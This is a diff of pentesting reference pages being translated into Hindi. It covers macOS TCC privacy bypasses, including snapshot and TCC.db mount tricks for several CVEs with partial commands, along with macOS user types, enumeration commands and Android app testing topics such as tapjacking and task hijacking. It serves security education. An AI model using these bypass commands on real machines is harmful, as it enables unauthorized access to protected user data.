फ़ाइलें होती हैं जैसे कि यह एक जिसमें **`CommandString`** कुंजी में निष्पादित करने के लिए आदेश होता है: +**`.terminal`** स्क्रिप्ट plist फ़ाइलें होती हैं जैसे कि यह एक जिसमें **`CommandString`** कुंजी में निष्पादित करने के लिए आदेश होता है: ```xml @@ -418,7 +418,7 @@ exploit_location]; task.standardOutput = pipe; ### CVE-2020-9771 - mount_apfs TCC बायपास और विशेषाधिकार वृद्धि **कोई भी उपयोगकर्ता** (यहां तक कि बिना विशेषाधिकार वाले) एक टाइम मशीन स्नैपशॉट बना और माउंट कर सकता है और उस स्नैपशॉट के **सभी फ़ाइलों** तक पहुंच सकता है।\ -आवश्यक **केवल विशेषाधिकार** यह है कि उपयोग की जाने वाली एप्लिकेशन (जैसे `Terminal`) को **पूर्ण डिस्क एक्सेस** (FDA) एक्सेस (`kTCCServiceSystemPolicyAllfiles`) होना चाहिए, जिसे एक व्यवस्थापक द्वारा प्रदान किया जाना चाहिए। +आवश्यक **केवल विशेषाधिकार** यह है कि उपयोग किए जाने वाले एप्लिकेशन (जैसे `Terminal`) को **पूर्ण डिस्क एक्सेस** (FDA) एक्सेस (`kTCCServiceSystemPolicyAllfiles`) प्राप्त होना चाहिए, जिसे एक व्यवस्थापक द्वारा अनुमोदित किया जाना चाहिए। ```bash # Create snapshot tmutil localsnapshot @@ -442,7 +442,7 @@ ls /tmp/snap/Users/admin_user # This will work ### CVE-2021-1784 & CVE-2021-30808 - TCC फ़ाइल पर माउंट करें -यहां तक कि अगर TCC DB फ़ाइल सुरक्षित है, तो एक नया TCC.db फ़ाइल **निर्देशिका पर माउंट करना** संभव था: +यहां तक कि अगर TCC DB फ़ाइल सुरक्षित है, तो **निर्देशिका पर एक नया TCC.db फ़ाइल माउंट करना संभव था:** ```bash # CVE-2021-1784 ## Mount over Library/Application\ Support/com.apple.TCC @@ -465,14 +465,22 @@ os.system("hdiutil detach /tmp/mnt 1>/dev/null") ``` Check the **full exploit** in the [**original writeup**](https://theevilbit.github.io/posts/cve-2021-30808/). +### CVE-2024-40855 + +जैसा कि [original writeup](https://www.kandji.io/blog/macos-audit-story-part2) में समझाया गया है, इस CVE ने `diskarbitrationd` का दुरुपयोग किया। + +सार्वजनिक `DiskArbitration` फ्रेमवर्क से `DADiskMountWithArgumentsCommon` फ़ंक्शन सुरक्षा जांचें करता है। हालाँकि, इसे `diskarbitrationd` को सीधे कॉल करके बायपास करना संभव है और इसलिए पथ में `../` तत्वों और सिमलिंक्स का उपयोग करना संभव है। + +इसने एक हमलावर को किसी भी स्थान पर मनमाने माउंट करने की अनुमति दी, जिसमें TCC डेटाबेस पर `diskarbitrationd` के अधिकार `com.apple.private.security.storage-exempt.heritable` के कारण शामिल है। + ### asr -The tool **`/usr/sbin/asr`** ने पूरे डिस्क को कॉपी करने और इसे अन्य स्थान पर माउंट करने की अनुमति दी, जिससे TCC सुरक्षा को बायपास किया जा सका। +उपकरण **`/usr/sbin/asr`** ने पूरे डिस्क को कॉपी करने और TCC सुरक्षा को बायपास करते हुए इसे किसी अन्य स्थान पर माउंट करने की अनुमति दी। ### Location Services -**`/var/db/locationd/clients.plist`** में एक तीसरी TCC डेटाबेस है जो उन क्लाइंट्स को इंगित करती है जिन्हें **स्थान सेवाओं** तक **पहुँच** की अनुमति है।\ -फोल्डर **`/var/db/locationd/` को DMG माउंटिंग से सुरक्षित नहीं किया गया था** इसलिए अपने plist को माउंट करना संभव था। +**`/var/db/locationd/clients.plist`** में एक तीसरा TCC डेटाबेस है जो उन क्लाइंट्स को इंगित करता है जिन्हें **स्थान सेवाओं** तक **पहुँचने** की अनुमति है।\ +फोल्डर **`/var/db/locationd/` DMG माउंटिंग से सुरक्षित नहीं था** इसलिए यह संभव था कि हम अपनी plist को माउंट कर सकें। ## By startup apps @@ -482,17 +490,17 @@ The tool **`/usr/sbin/asr`** ने पूरे डिस्क को कॉ ## By grep -कई अवसरों पर फ़ाइलें संवेदनशील जानकारी जैसे ईमेल, फोन नंबर, संदेश... को गैर-सुरक्षित स्थानों में स्टोर करेंगी (जो Apple में एक कमजोरी के रूप में गिनी जाती है)। +कई अवसरों पर फ़ाइलें संवेदनशील जानकारी जैसे ईमेल, फोन नंबर, संदेश... को गैर-सुरक्षित स्थानों में संग्रहीत करेंगी (जो Apple में एक कमजोरियों के रूप में गिनी जाती हैं)।
## Synthetic Clicks -यह अब काम नहीं करता, लेकिन यह [**पहले काम करता था**](https://twitter.com/noarfromspace/status/639125916233416704/photo/1)**:** +यह अब काम नहीं करता, लेकिन यह [**अतीत में काम करता था**](https://twitter.com/noarfromspace/status/639125916233416704/photo/1)**:**
-एक और तरीका [**CoreGraphics events**](https://objectivebythesea.org/v2/talks/OBTS_v2_Wardle.pdf) का उपयोग करना है: +एक और तरीका [**CoreGraphics events**](https://objectivebythesea.org/v2/talks/OBTS_v2_Wardle.pdf) का उपयोग करना:
diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-users.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-users.md index a18c0782c..64c2e9e36 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-users.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-users.md @@ -2,34 +2,32 @@ {{#include ../../banners/hacktricks-training.md}} -## Common Users +## सामान्य उपयोगकर्ता -- **Daemon**: User reserved for system daemons. The default daemon account names usually start with a "\_": +- **Daemon**: सिस्टम डेमन्स के लिए आरक्षित उपयोगकर्ता। डिफ़ॉल्ट डेमन खाता नाम आमतौर पर "\_" से शुरू होते हैं: - ```bash - _amavisd, _analyticsd, _appinstalld, _appleevents, _applepay, _appowner, _appserver, _appstore, _ard, _assetcache, _astris, _atsserver, _avbdeviced, _calendar, _captiveagent, _ces, _clamav, _cmiodalassistants, _coreaudiod, _coremediaiod, _coreml, _ctkd, _cvmsroot, _cvs, _cyrus, _datadetectors, _demod, _devdocs, _devicemgr, _diskimagesiod, _displaypolicyd, _distnote, _dovecot, _dovenull, _dpaudio, _driverkit, _eppc, _findmydevice, _fpsd, _ftp, _fud, _gamecontrollerd, _geod, _hidd, _iconservices, _installassistant, _installcoordinationd, _installer, _jabber, _kadmin_admin, _kadmin_changepw, _knowledgegraphd, _krb_anonymous, _krb_changepw, _krb_kadmin, _krb_kerberos, _krb_krbtgt, _krbfast, _krbtgt, _launchservicesd, _lda, _locationd, _logd, _lp, _mailman, _mbsetupuser, _mcxalr, _mdnsresponder, _mobileasset, _mysql, _nearbyd, _netbios, _netstatistics, _networkd, _nsurlsessiond, _nsurlstoraged, _oahd, _ondemand, _postfix, _postgres, _qtss, _reportmemoryexception, _rmd, _sandbox, _screensaver, _scsd, _securityagent, _softwareupdate, _spotlight, _sshd, _svn, _taskgated, _teamsserver, _timed, _timezone, _tokend, _trustd, _trustevaluationagent, _unknown, _update_sharing, _usbmuxd, _uucp, _warmd, _webauthserver, _windowserver, _www, _wwwproxy, _xserverdocs - ``` - -- **Guest**: Account for guests with very strict permissions +```bash +_amavisd, _analyticsd, _appinstalld, _appleevents, _applepay, _appowner, _appserver, _appstore, _ard, _assetcache, _astris, _atsserver, _avbdeviced, _calendar, _captiveagent, _ces, _clamav, _cmiodalassistants, _coreaudiod, _coremediaiod, _coreml, _ctkd, _cvmsroot, _cvs, _cyrus, _datadetectors, _demod, _devdocs, _devicemgr, _diskimagesiod, _displaypolicyd, _distnote, _dovecot, _dovenull, _dpaudio, _driverkit, _eppc, _findmydevice, _fpsd, _ftp, _fud, _gamecontrollerd, _geod, _hidd, _iconservices, _installassistant, _installcoordinationd, _installer, _jabber, _kadmin_admin, _kadmin_changepw, _knowledgegraphd, _krb_anonymous, _krb_changepw, _krb_kadmin, _krb_kerberos, _krb_krbtgt, _krbfast, _krbtgt, _launchservicesd, _lda, _locationd, _logd, _lp, _mailman, _mbsetupuser, _mcxalr, _mdnsresponder, _mobileasset, _mysql, _nearbyd, _netbios, _netstatistics, _networkd, _nsurlsessiond, _nsurlstoraged, _oahd, _ondemand, _postfix, _postgres, _qtss, _reportmemoryexception, _rmd, _sandbox, _screensaver, _scsd, _securityagent, _softwareupdate, _spotlight, _sshd, _svn, _taskgated, _teamsserver, _timed, _timezone, _tokend, _trustd, _trustevaluationagent, _unknown, _update_sharing, _usbmuxd, _uucp, _warmd, _webauthserver, _windowserver, _www, _wwwproxy, _xserverdocs +``` +- **Guest**: मेहमानों के लिए खाता जिसमें बहुत सख्त अनुमतियाँ हैं ```bash state=("automaticTime" "afpGuestAccess" "filesystem" "guestAccount" "smbGuestAccess") for i in "${state[@]}"; do sysadminctl -"${i}" status; done; ``` +- **कोई नहीं**: प्रक्रियाएँ इस उपयोगकर्ता के साथ निष्पादित होती हैं जब न्यूनतम अनुमतियों की आवश्यकता होती है +- **रूट** -- **Nobody**: Processes are executed with this user when minimal permissions are required -- **Root** +## उपयोगकर्ता विशेषाधिकार -## User Privileges +- **मानक उपयोगकर्ता:** उपयोगकर्ताओं का सबसे बुनियादी प्रकार। इस उपयोगकर्ता को सॉफ़्टवेयर स्थापित करने या अन्य उन्नत कार्य करने का प्रयास करते समय एक व्यवस्थापक उपयोगकर्ता से अनुमतियाँ प्राप्त करने की आवश्यकता होती है। वे इसे अपने दम पर नहीं कर सकते। +- **व्यवस्थापक उपयोगकर्ता**: एक उपयोगकर्ता जो अधिकांश समय मानक उपयोगकर्ता के रूप में कार्य करता है लेकिन सॉफ़्टवेयर स्थापित करने और अन्य प्रशासनिक कार्य करने जैसे रूट क्रियाएँ करने की अनुमति भी है। व्यवस्थापक समूह से संबंधित सभी उपयोगकर्ताओं को **sudoers फ़ाइल के माध्यम से रूट तक पहुँच दी जाती है**। +- **रूट**: रूट एक उपयोगकर्ता है जिसे लगभग किसी भी क्रिया को करने की अनुमति है (सिस्टम इंटीग्रिटी प्रोटेक्शन जैसी सुरक्षा द्वारा कुछ सीमाएँ लगाई गई हैं)। +- उदाहरण के लिए, रूट `/System` के अंदर एक फ़ाइल रखने में असमर्थ होगा -- **Standard User:** The most basic of users. This user needs permissions granted from an admin user when attempting to install software or perform other advanced tasks. They are not able to do it on their own. -- **Admin User**: A user who operates most of the time as a standard user but is also allowed to perform root actions such as install software and other administrative tasks. All users belonging to the admin group are **given access to root via the sudoers file**. -- **Root**: Root is a user allowed to perform almost any action (there are limitations imposed by protections like System Integrity Protection). - - For example root won't be able to place a file inside `/System` +## बाहरी खाते -## External Accounts - -MacOS also support to login via external identity providers such as FaceBook, Google... The main daemon performing this job is `accountsd` (`/System/Library/Frameworks/Accounts.framework//Versions/A/Support/accountsd`) and it's possible to find plugins used for external authentication inside the folder `/System/Library/Accounts/Authentication/`.\ -Moreover, `accountsd` gets the list of account types from `/Library/Preferences/SystemConfiguration/com.apple.accounts.exists.plist`. +MacOS बाहरी पहचान प्रदाताओं जैसे FaceBook, Google के माध्यम से लॉगिन का समर्थन करता है... इस कार्य को करने वाला मुख्य डेमन `accountsd` है (`/System/Library/Frameworks/Accounts.framework//Versions/A/Support/accountsd`) और बाहरी प्रमाणीकरण के लिए उपयोग किए जाने वाले प्लगइन्स को `/System/Library/Accounts/Authentication/` फ़ोल्डर के अंदर पाया जा सकता है।\ +इसके अलावा, `accountsd` `/Library/Preferences/SystemConfiguration/com.apple.accounts.exists.plist` से खाता प्रकारों की सूची प्राप्त करता है। {{#include ../../banners/hacktricks-training.md}} diff --git a/src/macos-hardening/macos-useful-commands.md b/src/macos-hardening/macos-useful-commands.md index 53e6dc36e..652803c4c 100644 --- a/src/macos-hardening/macos-useful-commands.md +++ b/src/macos-hardening/macos-useful-commands.md @@ -1,15 +1,14 @@ -# macOS Useful Commands +# macOS उपयोगी कमांड {{#include ../banners/hacktricks-training.md}} -### MacOS Automatic Enumeration Tools +### MacOS स्वचालित एन्यूमरेशन उपकरण - **MacPEAS**: [https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS](https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS) - **Metasploit**: [https://github.com/rapid7/metasploit-framework/blob/master/modules/post/osx/gather/enum_osx.rb](https://github.com/rapid7/metasploit-framework/blob/master/modules/post/osx/gather/enum_osx.rb) - **SwiftBelt**: [https://github.com/cedowens/SwiftBelt](https://github.com/cedowens/SwiftBelt) -### Specific MacOS Commands - +### विशिष्ट MacOS कमांड ```bash #System info date @@ -111,25 +110,21 @@ sudo launchctl load -w /System/Library/LaunchDaemons/ssh.plist (enable ssh) sudo launchctl unload /System/Library/LaunchDaemons/ssh.plist (disable ssh) #Start apache sudo apachectl (start|status|restart|stop) - ##Web folder: /Library/WebServer/Documents/ +##Web folder: /Library/WebServer/Documents/ #Remove DNS cache dscacheutil -flushcache sudo killall -HUP mDNSResponder ``` - ### Installed Software & Services -Check for **suspicious** applications installed and **privileges** over the.installed resources: - +**संदिग्ध** एप्लिकेशन की जांच करें जो स्थापित हैं और स्थापित संसाधनों पर **अधिकार**: ``` system_profiler SPApplicationsDataType #Installed Apps system_profiler SPFrameworksDataType #Instaled framework lsappinfo list #Installed Apps launchctl list #Services ``` - -### User Processes - +### उपयोगकर्ता प्रक्रियाएँ ```bash # will print all the running services under that particular user domain. launchctl print gui/ @@ -140,10 +135,9 @@ launchctl print system # will print detailed information about the specific launch agent. And if it’s not running or you’ve mistyped, you will get some output with a non-zero exit code: Could not find service “com.company.launchagent.label” in domain for login launchctl print gui//com.company.launchagent.label ``` +### एक उपयोगकर्ता बनाएं -### Create a user - -Without prompts +बिना संकेतों के
diff --git a/src/mobile-pentesting/android-app-pentesting/README.md b/src/mobile-pentesting/android-app-pentesting/README.md index 42205a449..397eb30c5 100644 --- a/src/mobile-pentesting/android-app-pentesting/README.md +++ b/src/mobile-pentesting/android-app-pentesting/README.md @@ -2,24 +2,9 @@ {{#include ../../banners/hacktricks-training.md}} -
- -अनुभवी हैकर्स और बग बाउंटी शिकारियों के साथ संवाद करने के लिए [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) सर्वर में शामिल हों! - -**Hacking Insights**\ -हैकिंग के रोमांच और चुनौतियों में गहराई से जाने वाले सामग्री के साथ संलग्न हों - -**Real-Time Hack News**\ -वास्तविक समय की समाचार और अंतर्दृष्टि के माध्यम से तेज़-तर्रार हैकिंग दुनिया के साथ अद्यतित रहें - -**Latest Announcements**\ -नवीनतम बग बाउंटी लॉन्च और महत्वपूर्ण प्लेटफ़ॉर्म अपडेट के साथ सूचित रहें - -**Join us on** [**Discord**](https://discord.com/invite/N3FrSbmwdy) और आज ही शीर्ष हैकर्स के साथ सहयोग करना शुरू करें! - ## Android Applications Basics -यह पृष्ठ पढ़ना शुरू करने की अत्यधिक सिफारिश की जाती है ताकि आप **Android सुरक्षा से संबंधित सबसे महत्वपूर्ण भागों और एक Android एप्लिकेशन में सबसे खतरनाक घटकों** के बारे में जान सकें: +यह पृष्ठ पढ़ना अत्यधिक अनुशंसित है ताकि आप **Android सुरक्षा से संबंधित सबसे महत्वपूर्ण भागों और एक Android एप्लिकेशन में सबसे खतरनाक घटकों** के बारे में जान सकें: {{#ref}} android-applications-basics.md @@ -28,9 +13,9 @@ android-applications-basics.md ## ADB (Android Debug Bridge) यह मुख्य उपकरण है जिसकी आपको एक एंड्रॉइड डिवाइस (अनुकरणीय या भौतिक) से कनेक्ट करने की आवश्यकता है।\ -**ADB** आपको **USB** या **Network** के माध्यम से कंप्यूटर से उपकरणों को नियंत्रित करने की अनुमति देता है। यह उपयोगिता **फाइलों** की दोनों दिशाओं में **कॉपीिंग**, **स्थापना** और **अनइंस्टॉल** करने, **शेल कमांड** निष्पादित करने, **डेटा का बैकअप** लेने, **लॉग्स** पढ़ने, और अन्य कार्यों को सक्षम बनाती है। +**ADB** आपको **USB** या **Network** के माध्यम से कंप्यूटर से उपकरणों को नियंत्रित करने की अनुमति देता है। यह उपयोगिता **फाइलों** की दोनों दिशाओं में **कॉपीिंग**, **ऐप्स** की **स्थापना** और **अनइंस्टॉलेशन**, **शेल कमांड्स** का **निष्पादन**, **डेटा** का **बैकअप**, **लॉग्स** को **पढ़ने** जैसी अन्य कार्यों को सक्षम बनाती है। -ADB का उपयोग कैसे करें, यह जानने के लिए [**ADB Commands**](adb-commands.md) की निम्नलिखित सूची पर एक नज़र डालें। +ADB का उपयोग कैसे करें, यह जानने के लिए निम्नलिखित [**ADB Commands**](adb-commands.md) की सूची पर एक नज़र डालें। ## Smali @@ -39,8 +24,8 @@ ADB का उपयोग कैसे करें, यह जानने क ## Other interesting tricks -- [Spoofing your location in Play Store](spoofing-your-location-in-play-store.md) -- **Download APKs**: [https://apps.evozi.com/apk-downloader/](https://apps.evozi.com/apk-downloader/), [https://apkpure.com/es/](https://apkpure.com/es/), [https://www.apkmirror.com/](https://www.apkmirror.com), [https://apkcombo.com/es-es/apk-downloader/](https://apkcombo.com/es-es/apk-downloader/), [https://github.com/kiber-io/apkd](https://github.com/kiber-io/apkd) +- [Play Store में अपनी स्थिति को स्पूफ करना](spoofing-your-location-in-play-store.md) +- **APK डाउनलोड करें**: [https://apps.evozi.com/apk-downloader/](https://apps.evozi.com/apk-downloader/), [https://apkpure.com/es/](https://apkpure.com/es/), [https://www.apkmirror.com/](https://www.apkmirror.com), [https://apkcombo.com/es-es/apk-downloader/](https://apkcombo.com/es-es/apk-downloader/), [https://github.com/kiber-io/apkd](https://github.com/kiber-io/apkd) - Extract APK from device: ```bash adb shell pm list packages @@ -62,37 +47,37 @@ java -jar uber-apk-signer.jar -a merged.apk --allowResign -o merged_signed ``` ## Static Analysis -सबसे पहले, एक APK का विश्लेषण करने के लिए आपको **decompiler** का उपयोग करके **Java कोड** पर एक नज़र डालनी चाहिए।\ +सबसे पहले, एक APK का विश्लेषण करने के लिए आपको **decompiler का उपयोग करके Java कोड पर नज़र डालनी चाहिए**।\ कृपया, [**विभिन्न उपलब्ध decompilers के बारे में जानकारी के लिए यहाँ पढ़ें**](apk-decompilers.md). ### Looking for interesting Info -APK के **strings** पर एक नज़र डालकर आप **passwords**, **URLs** ([https://github.com/ndelphit/apkurlgrep](https://github.com/ndelphit/apkurlgrep)), **api** keys, **encryption**, **bluetooth uuids**, **tokens** और कुछ भी दिलचस्प खोज सकते हैं... यहां तक कि कोड निष्पादन **backdoors** या प्रमाणीकरण backdoors (ऐप के लिए हार्डकोडेड व्यवस्थापक क्रेडेंशियल्स) के लिए भी देखें। +APK के **strings** पर एक नज़र डालकर आप **passwords**, **URLs** ([https://github.com/ndelphit/apkurlgrep](https://github.com/ndelphit/apkurlgrep)), **api** keys, **encryption**, **bluetooth uuids**, **tokens** और कुछ भी दिलचस्प खोज सकते हैं... यहां तक कि कोड निष्पादन **backdoors** या प्रमाणीकरण backdoors (ऐप के लिए हार्डकोडेड व्यवस्थापक क्रेडेंशियल) के लिए भी देखें। **Firebase** -**firebase URLs** पर विशेष ध्यान दें और जांचें कि क्या यह गलत तरीके से कॉन्फ़िगर किया गया है। [यहाँ FIrebase के बारे में और जानकारी और इसे कैसे शोषण करें।](../../network-services-pentesting/pentesting-web/buckets/firebase-database.md) +**firebase URLs** पर विशेष ध्यान दें और जांचें कि क्या यह गलत तरीके से कॉन्फ़िगर किया गया है। [यहाँ FIrebase के बारे में अधिक जानकारी और इसे कैसे शोषण करें।](../../network-services-pentesting/pentesting-web/buckets/firebase-database.md) ### Basic understanding of the application - Manifest.xml, strings.xml -**एक एप्लिकेशन के \_Manifest.xml**_\*\* और \*\*_**strings.xml**\_\*\* फ़ाइलों की जांच संभावित सुरक्षा कमजोरियों को उजागर कर सकती है\*\*. इन फ़ाइलों को decompilers का उपयोग करके या APK फ़ाइल एक्सटेंशन को .zip में बदलकर और फिर इसे अनज़िप करके एक्सेस किया जा सकता है। +**एक एप्लिकेशन के \_Manifest.xml**_\*\* और \*\*_**strings.xml**\_\*\* फ़ाइलों की जांच संभावित सुरक्षा कमजोरियों को उजागर कर सकती है\*\*। इन फ़ाइलों को decompilers का उपयोग करके या APK फ़ाइल एक्सटेंशन को .zip में बदलकर और फिर इसे अनज़िप करके एक्सेस किया जा सकता है। **Manifest.xml** से पहचानी गई **Vulnerabilities** में शामिल हैं: -- **Debuggable Applications**: _Manifest.xml_ फ़ाइल में `debuggable="true"` के रूप में सेट की गई एप्लिकेशन जोखिम पैदा करती हैं क्योंकि वे ऐसे कनेक्शन की अनुमति देती हैं जो शोषण की ओर ले जा सकते हैं। डिबग करने योग्य एप्लिकेशन को शोषित करने के तरीके को समझने के लिए, एक ट्यूटोरियल देखें जिसमें डिवाइस पर डिबग करने योग्य एप्लिकेशन को खोजने और शोषित करने के बारे में बताया गया है। +- **Debuggable Applications**: _Manifest.xml_ फ़ाइल में `debuggable="true"` के रूप में सेट की गई एप्लिकेशन जोखिम पैदा करती हैं क्योंकि वे ऐसे कनेक्शन की अनुमति देती हैं जो शोषण की ओर ले जा सकते हैं। डिबग करने योग्य एप्लिकेशन को खोजने और शोषण करने के तरीके पर एक ट्यूटोरियल के लिए संदर्भित करें। - **Backup Settings**: संवेदनशील जानकारी से निपटने वाले एप्लिकेशनों के लिए `android:allowBackup="false"` विशेष रूप से सेट किया जाना चाहिए ताकि adb के माध्यम से अनधिकृत डेटा बैकअप को रोका जा सके, विशेष रूप से जब usb debugging सक्षम हो। -- **Network Security**: _res/xml/_ में कस्टम नेटवर्क सुरक्षा कॉन्फ़िगरेशन (`android:networkSecurityConfig="@xml/network_security_config"`) सुरक्षा विवरण जैसे प्रमाणपत्र पिन और HTTP ट्रैफ़िक सेटिंग्स को निर्दिष्ट कर सकते हैं। एक उदाहरण विशेष डोमेन के लिए HTTP ट्रैफ़िक की अनुमति देना है। +- **Network Security**: _res/xml/_ में कस्टम नेटवर्क सुरक्षा कॉन्फ़िगरेशन (`android:networkSecurityConfig="@xml/network_security_config"`) सुरक्षा विवरण जैसे प्रमाणपत्र पिन और HTTP ट्रैफ़िक सेटिंग्स निर्दिष्ट कर सकते हैं। एक उदाहरण विशेष डोमेन के लिए HTTP ट्रैफ़िक की अनुमति देना है। - **Exported Activities and Services**: मैनिफेस्ट में निर्यातित गतिविधियों और सेवाओं की पहचान करना उन घटकों को उजागर कर सकता है जो दुरुपयोग के लिए संवेदनशील हो सकते हैं। गतिशील परीक्षण के दौरान आगे के विश्लेषण से यह पता चल सकता है कि इन घटकों का शोषण कैसे किया जाए। - **Content Providers and FileProviders**: उजागर सामग्री प्रदाता अनधिकृत पहुंच या डेटा में संशोधन की अनुमति दे सकते हैं। FileProviders की कॉन्फ़िगरेशन की भी जांच की जानी चाहिए। -- **Broadcast Receivers and URL Schemes**: ये घटक शोषण के लिए उपयोग किए जा सकते हैं, विशेष रूप से इनपुट कमजोरियों के लिए URL योजनाओं के प्रबंधन के तरीके पर ध्यान देने के साथ। +- **Broadcast Receivers and URL Schemes**: ये घटक शोषण के लिए उपयोग किए जा सकते हैं, विशेष रूप से इनपुट कमजोरियों के लिए URL योजनाओं के प्रबंधन पर ध्यान दिया जाना चाहिए। - **SDK Versions**: `minSdkVersion`, `targetSDKVersion`, और `maxSdkVersion` विशेषताएँ समर्थित Android संस्करणों को इंगित करती हैं, सुरक्षा कारणों से पुराने, कमजोर Android संस्करणों का समर्थन न करने के महत्व को उजागर करती हैं। -**strings.xml** फ़ाइल से, संवेदनशील जानकारी जैसे API keys, कस्टम स्कीमा, और अन्य डेवलपर नोट्स का पता लगाया जा सकता है, जो इन संसाधनों की सावधानीपूर्वक समीक्षा की आवश्यकता को उजागर करता है। +**strings.xml** फ़ाइल से, संवेदनशील जानकारी जैसे API keys, कस्टम स्कीमा, और अन्य डेवलपर नोट्स खोजे जा सकते हैं, जो इन संसाधनों की सावधानीपूर्वक समीक्षा की आवश्यकता को उजागर करते हैं। ### Tapjacking -**Tapjacking** एक हमला है जहाँ एक **malicious** **application** लॉन्च किया जाता है और **एक पीड़ित एप्लिकेशन के ऊपर खुद को रखता है**। जब यह पीड़ित ऐप को दृश्यमान रूप से अस्पष्ट करता है, तो इसका उपयोगकर्ता इंटरफ़ेस इस तरह से डिज़ाइन किया गया है कि उपयोगकर्ता को इसके साथ बातचीत करने के लिए धोखा दिया जाए, जबकि यह बातचीत को पीड़ित ऐप के पास भेज रहा है।\ -इसका प्रभाव यह है कि यह **उपयोगकर्ता को यह जानने से अंधा कर देता है कि वे वास्तव में पीड़ित ऐप पर क्रियाएँ कर रहे हैं**। +**Tapjacking** एक हमला है जहां एक **malicious** **application** लॉन्च किया जाता है और **पीड़ित एप्लिकेशन के शीर्ष पर खुद को रखता है**। जब यह स्पष्ट रूप से पीड़ित ऐप को अस्पष्ट करता है, तो इसका उपयोगकर्ता इंटरफ़ेस इस तरह से डिज़ाइन किया गया है कि उपयोगकर्ता को इसके साथ बातचीत करने के लिए धोखा दिया जाए, जबकि यह बातचीत को पीड़ित ऐप को पास कर रहा है।\ +प्रभाव में, यह **उपयोगकर्ता को यह जानने से अंधा कर रहा है कि वे वास्तव में पीड़ित ऐप पर क्रियाएँ कर रहे हैं**। अधिक जानकारी प्राप्त करें: @@ -102,7 +87,7 @@ tapjacking.md ### Task Hijacking -एक **activity** जिसमें **`launchMode`** **`singleTask`** पर सेट है और कोई `taskAffinity` परिभाषित नहीं है, वह टास्क हाइजैकिंग के लिए संवेदनशील है। इसका मतलब है कि एक **application** स्थापित की जा सकती है और यदि इसे वास्तविक एप्लिकेशन से पहले लॉन्च किया जाता है, तो यह **वास्तविक एप्लिकेशन के कार्य को हाइजैक कर सकती है** (इसलिए उपयोगकर्ता **malicious application** के साथ बातचीत कर रहा होगा, सोचते हुए कि वह असली का उपयोग कर रहा है)। +एक **activity** जिसमें **`launchMode`** **`singleTask`** पर सेट है और कोई `taskAffinity` परिभाषित नहीं है, कार्य Hijacking के लिए संवेदनशील है। इसका मतलब है कि एक **application** स्थापित की जा सकती है और यदि इसे वास्तविक एप्लिकेशन से पहले लॉन्च किया जाता है, तो यह **वास्तविक एप्लिकेशन के कार्य को हाइजैक कर सकती है** (इसलिए उपयोगकर्ता **malicious application के साथ बातचीत कर रहा है यह सोचते हुए कि वह असली का उपयोग कर रहा है**). अधिक जानकारी में: @@ -114,31 +99,31 @@ android-task-hijacking.md **Internal Storage** -Android में, फ़ाइलें **internal** storage में **stored** की जाती हैं ताकि वे केवल उस **app** द्वारा **access** की जा सकें जिसने उन्हें **created** किया है। यह सुरक्षा उपाय Android ऑपरेटिंग सिस्टम द्वारा **enforced** किया गया है और सामान्यतः अधिकांश एप्लिकेशनों की सुरक्षा आवश्यकताओं के लिए पर्याप्त है। हालाँकि, डेवलपर्स कभी-कभी `MODE_WORLD_READABLE` और `MODE_WORLD_WRITABLE` जैसे मोड का उपयोग करते हैं ताकि फ़ाइलों को विभिन्न एप्लिकेशनों के बीच **shared** किया जा सके। फिर भी, ये मोड अन्य एप्लिकेशनों द्वारा इन फ़ाइलों तक पहुँच को **restrict** नहीं करते, जिसमें संभावित रूप से दुर्भावनापूर्ण एप्लिकेशन भी शामिल हैं। +Android में, फ़ाइलें **internal** storage में **stored** होती हैं ताकि केवल **app** जो उन्हें **created** करती है, उन्हें **access** कर सके। यह सुरक्षा उपाय Android ऑपरेटिंग सिस्टम द्वारा **enforced** किया गया है और अधिकांश एप्लिकेशनों की सुरक्षा आवश्यकताओं के लिए सामान्यतः पर्याप्त है। हालाँकि, डेवलपर्स कभी-कभी `MODE_WORLD_READABLE` और `MODE_WORLD_WRITABLE` जैसे मोड का उपयोग करते हैं ताकि फ़ाइलों को विभिन्न एप्लिकेशनों के बीच **share** किया जा सके। फिर भी, ये मोड अन्य एप्लिकेशनों द्वारा इन फ़ाइलों तक पहुँच को **restrict** नहीं करते, जिसमें संभावित रूप से दुर्भावनापूर्ण एप्लिकेशन भी शामिल हैं। 1. **Static Analysis:** - **Ensure** करें कि `MODE_WORLD_READABLE` और `MODE_WORLD_WRITABLE` का उपयोग **carefully scrutinized** किया गया है। ये मोड फ़ाइलों को **अनपेक्षित या अनधिकृत पहुंच** के लिए **potentially expose** कर सकते हैं। 2. **Dynamic Analysis:** -- ऐप द्वारा बनाई गई फ़ाइलों पर सेट की गई **permissions** की **verify** करें। विशेष रूप से, **check** करें कि क्या कोई फ़ाइलें **विश्व स्तर पर पढ़ने या लिखने के लिए सेट की गई हैं**। यह एक महत्वपूर्ण सुरक्षा जोखिम पैदा कर सकता है, क्योंकि यह **किसी भी एप्लिकेशन** को जो डिवाइस पर स्थापित है, उसकी उत्पत्ति या इरादे की परवाह किए बिना, इन फ़ाइलों को **पढ़ने या संशोधित** करने की अनुमति देगा। +- **Verify** करें कि ऐप द्वारा बनाई गई फ़ाइलों पर सेट की गई **permissions** क्या हैं। विशेष रूप से, **check** करें कि क्या कोई फ़ाइलें **विश्व स्तर पर पढ़ने या लिखने के लिए सेट की गई हैं**। यह एक महत्वपूर्ण सुरक्षा जोखिम पैदा कर सकता है, क्योंकि यह **किसी भी एप्लिकेशन** को जो डिवाइस पर स्थापित है, उसकी उत्पत्ति या इरादे की परवाह किए बिना, इन फ़ाइलों को **पढ़ने या संशोधित** करने की अनुमति देगा। **External Storage** -**External storage** पर फ़ाइलों से निपटने के दौरान, कुछ सावधानियाँ बरतनी चाहिए: +**External storage** पर फ़ाइलों के साथ काम करते समय, कुछ सावधानियाँ बरतनी चाहिए: 1. **Accessibility**: -- बाहरी संग्रहण पर फ़ाइलें **globally readable and writable** हैं। इसका मतलब है कि कोई भी एप्लिकेशन या उपयोगकर्ता इन फ़ाइलों तक पहुँच सकता है। +- बाहरी संग्रहण पर फ़ाइलें **globally readable and writable** होती हैं। इसका मतलब है कि कोई भी एप्लिकेशन या उपयोगकर्ता इन फ़ाइलों तक पहुँच सकता है। 2. **Security Concerns**: -- पहुँच की आसानी को देखते हुए, **संवेदनशील 